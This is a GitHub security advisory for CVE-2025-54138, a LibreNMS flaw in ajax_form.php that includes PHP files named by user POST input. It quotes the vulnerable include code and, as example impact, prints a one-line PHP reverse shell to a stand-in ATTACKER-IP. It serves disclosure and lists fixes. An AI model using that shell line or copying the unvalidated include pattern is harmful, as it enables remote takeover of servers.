Skip to content

LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE

High severity GitHub Reviewed Published Jul 21, 2025 in librenms/librenms • Updated Jul 23, 2025

Package

composer librenms/librenms (Composer)

Affected versions

< 25.7.0

Patched versions

25.7.0

Description

LibreNMS 25.6.0 contains an architectural vulnerability in the ajax_form.php endpoint that permits Remote File Inclusion based on user-controlled POST input.

The application directly uses the type parameter to dynamically include .inc.php files from the trusted path includes/html/forms/, without validation or allowlisting:

if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {
    include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';
}

This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.

This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.

Conditions for Exploitation

  • Attacker must be authenticated
  • Attacker must control a file at includes/html/forms/{type}.inc.php (or symlink)

Example Impact (RCE)

If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the librenms user context:

<?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?>

https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812


Recommended Fix

  • Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames.
  • Avoid passing raw POST input into include_once.
  • Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).

References

@murrant murrant published to librenms/librenms Jul 21, 2025
Published to the GitHub Advisory Database Jul 21, 2025
Reviewed Jul 21, 2025
Published by the National Vulnerability Database Jul 22, 2025
Last updated Jul 23, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(0th percentile)

Weaknesses

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in require, include, or similar functions. Learn more on MITRE.

CVE ID

CVE-2025-54138

GHSA ID

GHSA-gq96-8w38-hhj2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.